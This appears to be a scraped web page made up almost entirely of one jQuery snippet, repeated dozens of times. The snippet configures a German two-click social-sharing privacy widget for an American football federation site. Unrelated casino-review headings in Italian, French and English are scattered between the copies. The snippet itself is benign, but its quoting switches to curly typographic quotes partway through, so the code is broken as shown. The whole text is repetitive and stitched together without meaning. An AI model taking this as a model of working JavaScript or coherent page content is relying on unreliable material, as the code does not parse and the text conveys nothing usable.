jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Casino non AAMS affidabili: recensioni, bonus e app
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Casino non AAMS affidabili: recensioni, bonus e app
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Godz Casino : critique, application, bonus et jeux
Wild Tokyo Casino Review: Bonuses, Games, and App Details
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
Casino non AAMS affidabili: recensioni, bonus e più
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
jQuery(document).ready(function($){if($('.twoclick_social_bookmarks_post_15934')){$('.twoclick_social_bookmarks_post_15934').socialSharePrivacy({"txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert. N\u00e4heres erfahren Sie durch einen Klick auf das i.“,“settings_perma“:“Dauerhaft aktivieren und Daten\u00fcber-tragung zustimmen:“,“info_link“:“http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html“,“uri“:“https:\/\/american-football-verband.de\/“,“post_id“:15934,“post_title_referrer_track“:“Cogni+Front+264471″,“display_infobox“:“on“});}});
/* ]]> */
/* <![CDATA[ */
